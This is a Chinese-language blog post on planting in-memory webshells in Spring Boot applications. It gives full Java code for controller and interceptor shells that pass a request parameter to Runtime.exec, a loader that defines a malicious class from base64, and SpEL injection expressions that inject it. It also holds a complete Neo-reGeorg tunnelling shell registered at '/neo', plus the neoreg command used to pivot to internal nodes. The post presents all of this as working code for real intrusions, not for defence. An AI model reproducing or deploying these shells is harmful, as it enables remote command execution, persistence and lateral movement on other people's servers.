51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

SpringBoot 内存马 && SPEL注入内存马

前言

萌新第一次玩java,水一篇文章

SpringBoot 内存马类别

controller 控制器内存马 {#toc_0}

什么是控制器内存马?按照其他语言的理解,就是在原有的路由上增加一条路由
使用网络上的代码动态添加路由

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
assert context != null;
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method = InjectToController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/asdasd");
// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController();
mappingHandlerMapping.registerMapping(info, injectToController, method);

注入controller内存马的时候遇到 Expected lookupPath in request attribute 报错问题 {#toc_1}

注入的时候遇到这个错误

java.lang.IllegalArgumentException: Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH".

这是由于springboot对路由匹配方式进行修改
这再springboot 2.6.0之后就会遇到,一般而言解决方案是再properties添加如下然后重启

spring.mvc.pathmatch.matching-strategy=ANT_PATH_MATCHER

或者降低版本,但是我实际注入的时候肯定不能直接就这么轻松修改,所以得替换成如下方式

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
        (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = Evil.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/test2")
        .options(config)
        .build();
Evil springControllerMemShell = new Evil("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

完整代码 {#toc_2}

package com.example.springtest;

import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.lang.reflect.Method;

public class Evil { public Evil() {

}

public void test() throws Exception { HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse(); System.out.println(request.getParameter("cmd")); Runtime.getRuntime().exec(request.getParameter("cmd")); } public static String inject() throws NoSuchMethodException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method method2 = Evil.class.getMethod("test"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = RequestMappingInfo.paths("/test2") .options(config) .build(); Evil springControllerMemShell = new Evil(); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); return "ok"; }

}

Interceptor 拦截器内存马 {#toc_3}

Controller虽然简单明了,但是面对有些路由收到保护的站点的时候,就有些局限性了。

最典型的是如果你没有登录,所有路由都被跳转到/login,这样子你如果没能登录就没办法执行到你的内存马了,所以这时候就要添加一个拦截器类型的内存马,代码如下

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
        (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = Evil.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/test2")
        .options(config)
        .build();
Evil springControllerMemShell = new Evil("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

完整代码 {#toc_4}

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
public class Evil extends HandlerInterceptorAdapter {
    public Evil() {
}
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
    String code = request.getParameter("code");
    System.out.println("VulInterceptor Running...");
    if(code != null){
        try {
            Runtime.getRuntime().exec(code);
        }catch (Exception e){
        }
        return false;
    }
    return true;
}
public static String injectInterceptor(){
    try {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(requestMappingHandlerMapping);
        Evil vulInterceptor = new Evil();
        adaptedInterceptors.add(vulInterceptor);
        return "inject ok...";
    }catch (Exception ex)
    {
        return "inject fail...";
    }
}

}

实战环境中构造函数递归问题

在实战环境中,我们的调用并不会放到main中,而是丢到析构函数Evil()中,所以在我们析构函数调用注入器,装载注册器的时候,有一段代码

 Evil vulInterceptor = new Evil();
 adaptedInterceptors.add(vulInterceptor);

中,就又加载了Eval函数,然后又调用析构函数,然后又执行这段代码又装载注入器.....这就造成了递归,所以我们得需要对这块进行一些处理

如何处理呢?就是简单的加一个参数,判断是否由注册器加载,如果是注册器就掠过,不是则执行注册器
析构函数关键代码:

public Evil(int aaa)
{
  if(aaa != 111){
      do_inject();
  }
}

注册器关键代码

Evil vulInterceptor = new Evil(111);
 adaptedInterceptors.add(vulInterceptor);

这样就不会递归了,但是我们加载这个的时候,遇到另一个问题,普通的newInstance是没办法带参数的。所以我们就要修改成带参数调用newInstance,我们假设我们的恶意class由base64传递

完整代码 {#toc_5}

注入器部分

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("恶意class的base64");
Class Evil = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),"Evil",code,0,code.length);
Constructor constructor=Evil.getDeclaredConstructor(int.class);//这里要设置和析构函数的参数一样,我们Eval里只有一个int所以就设置成int
constructor.setAccessible(true);
constructor.newInstance(222);

恶意类部分

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
public class Evil extends HandlerInterceptorAdapter {
    public Evil(int aaa) throws NoSuchMethodException ,NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        if(aaa != 111){
            inject();
            injectInterceptor();
            System.out.println("Inject ok");
        }
    }
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
    String code = request.getParameter("code");
    System.out.println(request.getRequestURI());
    if(request.getRequestURI().equals("/check")){
        java.io.PrintWriter printWriter = response.getWriter();
        printWriter.write("Interceptor inject ok!");
        printWriter.flush();
        printWriter.close();
    }
if(code != null){
    try {
        Runtime.getRuntime().exec(code);
    }catch (Exception e){
    }
    return false;
}
return true;

} public void test() throws Exception { HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse(); Runtime.getRuntime().exec(request.getParameter("cmd")); response.getWriter().write("ok"); } public static String inject() throws NoSuchMethodException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method method2 = Evil.class.getMethod("test"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = RequestMappingInfo.paths("/test2") .options(config) .build(); Evil springControllerMemShell = new Evil(111); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); return "ok"; }

public static String injectInterceptor(){ try { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(requestMappingHandlerMapping); Evil vulInterceptor = new Evil(111); adaptedInterceptors.add(vulInterceptor); return "inject ok..."; }catch (Exception ex) { return "inject fail..."; } }

}

SPEL注入内存马

SPEL表达式一定程度上能执行java代码,那么能执行代码就非常简单了,直接调用defineclass把我们的恶意class加载进去执行不就完事了。

这里不考虑过滤and拦截的情况,实战肯定会遇到各种奇奇怪怪的情况的

获取java版本

#{T(java.lang.System).getProperty("java.version")}

获取springboot版本

#{T(org.springframework.boot.SpringBootVersion).getPackage()}

注入内存马,直接照抄上面的base64注入即可

T(org.springframework.cglib.core.ReflectUtils)
.defineClass(
    'Evil',
    T(com.sun.org.apache.xml.internal.security.utils.Base64)
    .decode('base64'),T(org.springframework.util.ClassUtils).getDefaultClassLoader()
).getDeclaredConstructor(T(int)).newInstance(222)

注入Neo-reGeorg到内存马

Neo-reGeorg直接生成了java文件,非常的方便我们使用。先运行
python neoreg.py generate -k password 生成server模板,
然后把我们的的java模板提取出来,直接看jsp关键代码

Object[] args = new Object[]{ ... }
 Class clazz = new U(this.getClass().getClassLoader()).g(clazzBytes);
application.setAttribute("ok",clazz.newInstance());
application.getAttribute("ok").equals(args);

基本就是一个把byte的class文件反射加载到内存然后调用equals,但是我们注入的时候本来就是class了,所以不需要再进行一次byte转class操作,直接在同一个类下调用就行。完整代码

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.io.OutputStream; import java.io.Writer; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.HttpURLConnection; import java.net.Inet4Address; import java.net.InetAddress; import java.net.InetSocketAddress; import java.net.NetworkInterface; import java.net.URL; import java.nio.ByteBuffer; import java.nio.channels.SocketChannel; import java.security.SecureRandom; import java.security.cert.CertificateException; import java.security.cert.X509Certificate; import java.util.Collections; import java.util.Enumeration; import java.util.Iterator; import java.util.List; import javax.net.ssl.HostnameVerifier; import javax.net.ssl.HttpsURLConnection; import javax.net.ssl.KeyManager; import javax.net.ssl.SSLContext; import javax.net.ssl.SSLSession; import javax.net.ssl.TrustManager; import javax.net.ssl.X509TrustManager; import javax.servlet.ServletContext; import javax.servlet.ServletInputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

public class NeoreGeorg implements HostnameVerifier, X509TrustManager { private char[] en; private byte[] de;

public void MemNeoregeorg() {
    HttpServletRequest request = ((ServletRequestAttributes)((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes())).getRequest();
    HttpServletResponse response = ((ServletRequestAttributes)((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes())).getResponse();
    Object[] args = new Object[]{request, response, "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray(), new byte[]{-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 16, -1, -1, -1, 45, 2, 12, 37, 53, 41, 19, 44, 55, 33, 18, -1, -1, -1, -1, -1, -1, -1, 57, 56, 0, 47, 1, 9, 59, 17, 7, 35, 48, 52, 60, 62, 6, 34, 8, 32, 61, 51, 5, 46, 63, 3, 25, 31, -1, -1, -1, -1, -1, -1, 20, 39, 14, 27, 43, 26, 4, 40, 49, 50, 24, 21, 58, 29, 36, 42, 38, 22, 10, 13, 23, 54, 11, 30, 15, 28, -1, -1, -1, -1, -1}, 200, 513, 524288, "Sbxspawzq", "Die", "Ffydhndmhhl", "Nnpo", "Mueytrthxaatjpsb", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa", "<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->", "3uD0bq9GsCGpZcPIjwXcyj0ibSRDGyCcJI7lWF9Sh8uLqoNgpQWQAPBcM", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO", "CapFLueBCn2ZM", "YGsjBNsJR8DHQ3b5mVVVvruEH7oUHk", "b5v9XJbF", "0FX", "TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql", "CtWP7tBSKiDnysT9hP9pa", "oA9zNzisf6JqAYWYiKxPyeDALbg2jqhvIgTdBbebH201BCYUKnD", "9NMcA1i8lzO779wa6O", "QmPrA86mT15", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV"};
    this.equals(args);
}

public static String injectMemNeoreGeorg() throws NoSuchMethodException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException { WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = (RequestMappingHandlerMapping)context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration)configField.get(mappingHandlerMapping); Method method2 = NeoreGeorg.class.getMethod("MemNeoregeorg"); RequestMappingInfo info = RequestMappingInfo.paths(new String[]{"/neo"}).options(config).build(); NeoreGeorg springControllerMemShell = new NeoreGeorg(111); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); return "ok"; }

public NeoreGeorg(int bbb) throws NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException { if (bbb != 111) { injectMemNeoreGeorg(); }

}

public boolean equals(Object obj) { try { Object[] args = (Object[])((Object[])obj); HttpServletRequest request = (HttpServletRequest)args[0]; HttpServletResponse response = (HttpServletResponse)args[1]; this.en = (char[])((char[])args[2]); this.de = (byte[])((byte[])args[3]); int HTTPCODE = (Integer)args[4]; int READBUF = (Integer)args[5]; int MAXREADSIZE = (Integer)args[6]; String XSTATUS = (String)args[7]; String XERROR = (String)args[8]; String XCMD = (String)args[9]; String XTARGET = (String)args[10]; String XREDIRECTURL = (String)args[11]; String FAIL = (String)args[12]; String GeorgHello = (String)args[13]; String FailedCreatingSocket = (String)args[14]; String FailedConnecting = (String)args[15]; String OK = (String)args[16]; String FailedWriting = (String)args[17]; String CONNECT = (String)args[18]; String DISCONNECT = (String)args[19]; String READ = (String)args[20]; String FORWARD = (String)args[21]; String FailedReading = (String)args[22]; String CloseNow = (String)args[23]; String ReadFiled = (String)args[24]; String ForwardingFailed = (String)args[25]; ServletContext application = request.getSession().getServletContext(); Writer out = response.getWriter(); String rUrl = request.getHeader(XREDIRECTURL); String cmd; int buffLen; byte[] buff; if (rUrl != null) { rUrl = new String(this.b64de(rUrl)); if (!this.islocal(rUrl)) { response.reset(); cmd = request.getMethod(); URL u = new URL(rUrl); HttpURLConnection conn = (HttpURLConnection)u.openConnection(); if (HttpsURLConnection.class.isInstance(conn)) { ((HttpsURLConnection)conn).setHostnameVerifier(this); SSLContext ctx = SSLContext.getInstance("SSL"); ctx.init((KeyManager[])null, new TrustManager[]{this}, (SecureRandom)null); ((HttpsURLConnection)conn).setSSLSocketFactory(ctx.getSocketFactory()); }

            conn.setRequestMethod(cmd);
            conn.setDoOutput(true);
            Enumeration enu = request.getHeaderNames();
            List<String> keys = Collections.list(enu);
            Collections.reverse(keys);
            Iterator var56 = keys.iterator();
        while(var56.hasNext()) {
            String key = (String)var56.next();
            if (!key.equalsIgnoreCase(XREDIRECTURL)) {
                String value = request.getHeader(key);
                conn.setRequestProperty(headerkey(key), value);
            }
        }

        buff = new byte[1024];
        if (request.getContentLength() != -1) {
            OutputStream output;
            try {
                output = conn.getOutputStream();
            } catch (Exception var40) {
                response.setHeader(XERROR, ForwardingFailed);
                return false;
            }

            ServletInputStream inputStream = request.getInputStream();

            while((buffLen = inputStream.read(buff)) != -1) {
                output.write(buff, 0, buffLen);
            }

            output.flush();
            output.close();
        }

        Iterator var62 = conn.getHeaderFields().keySet().iterator();

        String responseBody;
        while(var62.hasNext()) {
            String key = (String)var62.next();
            if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")) {
                responseBody = conn.getHeaderField(key);
                response.setHeader(key, responseBody);
            }
        }

        InputStream hin;
        if (conn.getResponseCode() < 400) {
            hin = conn.getInputStream();
        } else {
            hin = conn.getErrorStream();
            if (hin == null) {
                response.setStatus(HTTPCODE);
                return false;
            }
        }

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        while((buffLen = hin.read(buff)) != -1) {
            byte[] data = new byte[buffLen];
            System.arraycopy(buff, 0, data, 0, buffLen);
            baos.write(data);
        }

        responseBody = new String(baos.toByteArray());
        response.addHeader("Content-Length", Integer.toString(responseBody.length()));
        response.setStatus(conn.getResponseCode());
        out.write(responseBody);
        out.flush();
        out.close();
        return false;
    }
}

response.resetBuffer();
response.setStatus(HTTPCODE);
cmd = request.getHeader(XCMD);
if (cmd != null) {
    String mark = cmd.substring(0, 22);
    cmd = cmd.substring(22);
    response.setHeader(XSTATUS, OK);
    String inputData;
    int bytesRead;
    if (cmd.compareTo(CONNECT) == 0) {
        try {
            String[] target_ary = (new String(this.b64de(request.getHeader(XTARGET)))).split("\\|");
            inputData = target_ary[0];
            bytesRead = Integer.parseInt(target_ary[1]);
            SocketChannel socketChannel = SocketChannel.open();
            socketChannel.connect(new InetSocketAddress(inputData, bytesRead));
            socketChannel.configureBlocking(false);
            application.setAttribute(mark, socketChannel);
            response.setHeader(XSTATUS, OK);
        } catch (Exception var42) {
            response.setHeader(XERROR, FailedConnecting);
            response.setHeader(XSTATUS, FAIL);
        }
    } else {
        SocketChannel socketChannel;
        if (cmd.compareTo(DISCONNECT) == 0) {
            socketChannel = (SocketChannel)application.getAttribute(mark);

            try {
                socketChannel.socket().close();
            } catch (Exception var41) {
            }

            application.removeAttribute(mark);
        } else if (cmd.compareTo(READ) == 0) {
            socketChannel = (SocketChannel)application.getAttribute(mark);

            try {
                ByteBuffer buf = ByteBuffer.allocate(READBUF);
                bytesRead = socketChannel.read(buf);
                buffLen = MAXREADSIZE;

                for(int readLen = 0; bytesRead > 0; bytesRead = socketChannel.read(buf)) {
                    byte[] data = new byte[bytesRead];
                    System.arraycopy(buf.array(), 0, data, 0, bytesRead);
                    out.write(this.b64en(data));
                    out.flush();
                    buf.clear();
                    readLen += bytesRead;
                    if (bytesRead < READBUF || readLen >= buffLen) {
                        break;
                    }
                }

                response.setHeader(XSTATUS, OK);
                out.close();
            } catch (Exception var44) {
                response.setHeader(XSTATUS, FAIL);
            }
        } else if (cmd.compareTo(FORWARD) == 0) {
            socketChannel = (SocketChannel)application.getAttribute(mark);

            try {
                inputData = "";
                InputStream in = request.getInputStream();

                while(true) {
                    buffLen = in.available();
                    if (buffLen == -1) {
                        break;
                    }

                    buff = new byte[buffLen];
                    if (in.read(buff) == -1) {
                        break;
                    }

                    inputData = inputData + new String(buff);
                }

                byte[] base64 = this.b64de(inputData);
                ByteBuffer buf = ByteBuffer.allocate(base64.length);
                buf.put(base64);
                buf.flip();

                while(buf.hasRemaining()) {
                    socketChannel.write(buf);
                }

                response.setHeader(XSTATUS, OK);
            } catch (Exception var43) {
                response.setHeader(XERROR, ReadFiled);
                response.setHeader(XSTATUS, FAIL);
                socketChannel.socket().close();
            }
        }
    }
} else {
    out.write(GeorgHello);
    out.flush();
    out.close();
}

} catch (Exception var45) { }

return false;

}

public String b64en(byte[] data) { StringBuffer sb = new StringBuffer(); int len = data.length; int i = 0;

while(i < len) {
    int b1 = data[i++] & 255;
    if (i == len) {
        sb.append(this.en[b1 >>> 2]);
        sb.append(this.en[(b1 & 3) << 4]);
        sb.append("==");
        break;
    }
int b2 = data[i++] & 255;
if (i == len) {
    sb.append(this.en[b1 >>> 2]);
    sb.append(this.en[(b1 & 3) << 4 | (b2 & 240) >>> 4]);
    sb.append(this.en[(b2 & 15) << 2]);
    sb.append("=");
    break;
}

int b3 = data[i++] & 255;
sb.append(this.en[b1 >>> 2]);
sb.append(this.en[(b1 & 3) << 4 | (b2 & 240) >>> 4]);
sb.append(this.en[(b2 & 15) << 2 | (b3 & 192) >>> 6]);
sb.append(this.en[b3 & 63]);

}

return sb.toString();

}

public byte[] b64de(String str) { byte[] data = str.getBytes(); int len = data.length; ByteArrayOutputStream buf = new ByteArrayOutputStream(len); int i = 0;

while(i < len) {
    byte b1;
    do {
        b1 = this.de[data[i++]];
    } while(i < len && b1 == -1);
if (b1 == -1) {
    break;
}

byte b2;
do {
    b2 = this.de[data[i++]];
} while(i < len && b2 == -1);

if (b2 == -1) {
    break;
}

buf.write(b1 << 2 | (b2 & 48) >>> 4);

byte b3;
do {
    b3 = data[i++];
    if (b3 == 61) {
        return buf.toByteArray();
    }

    b3 = this.de[b3];
} while(i < len && b3 == -1);

if (b3 == -1) {
    break;
}

buf.write((b2 & 15) << 4 | (b3 & 60) >>> 2);

byte b4;
do {
    b4 = data[i++];
    if (b4 == 61) {
        return buf.toByteArray();
    }

    b4 = this.de[b4];
} while(i < len && b4 == -1);

if (b4 == -1) {
    break;
}

buf.write((b3 & 3) << 6 | b4);

}

return buf.toByteArray();

}

static String headerkey(String str) throws Exception { String out = ""; String[] var2 = str.split("-"); int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
    String block = var2[var4];
    out = out + block.substring(0, 1).toUpperCase() + block.substring(1);
    out = out + "-";
}

return out.substring(0, out.length() - 1);

}

boolean islocal(String url) throws Exception { String ip = (new URL(url)).getHost(); Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces();

while(nifs.hasMoreElements()) {
    NetworkInterface nif = (NetworkInterface)nifs.nextElement();
    Enumeration<InetAddress> addresses = nif.getInetAddresses();
while(addresses.hasMoreElements()) {
    InetAddress addr = (InetAddress)addresses.nextElement();
    if (addr instanceof Inet4Address && addr.getHostAddress().equals(ip)) {
        return true;
    }
}

}

return false;

}

public boolean verify(String s, SSLSession sslSession) { return true; }

public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException { }

public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException { }

public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }

}

Neo-reGorg 负载均衡

对于mysql这类长连接的代理,遇上负载均衡就会一直爆炸,所以得用

#{T(java.net.InetAddress).getLocalHost().getHostAddress()}

的方式先查看内网负债均衡节点的IP,然后使用

python neoreg.py -k password -u target/neo -r 内网ip/neo

指定内网节点作为转发,获取到一个稳定的长连接隧道

赞(4)
未经允许不得转载:工具盒子 » SpringBoot 内存马 && SPEL注入内存马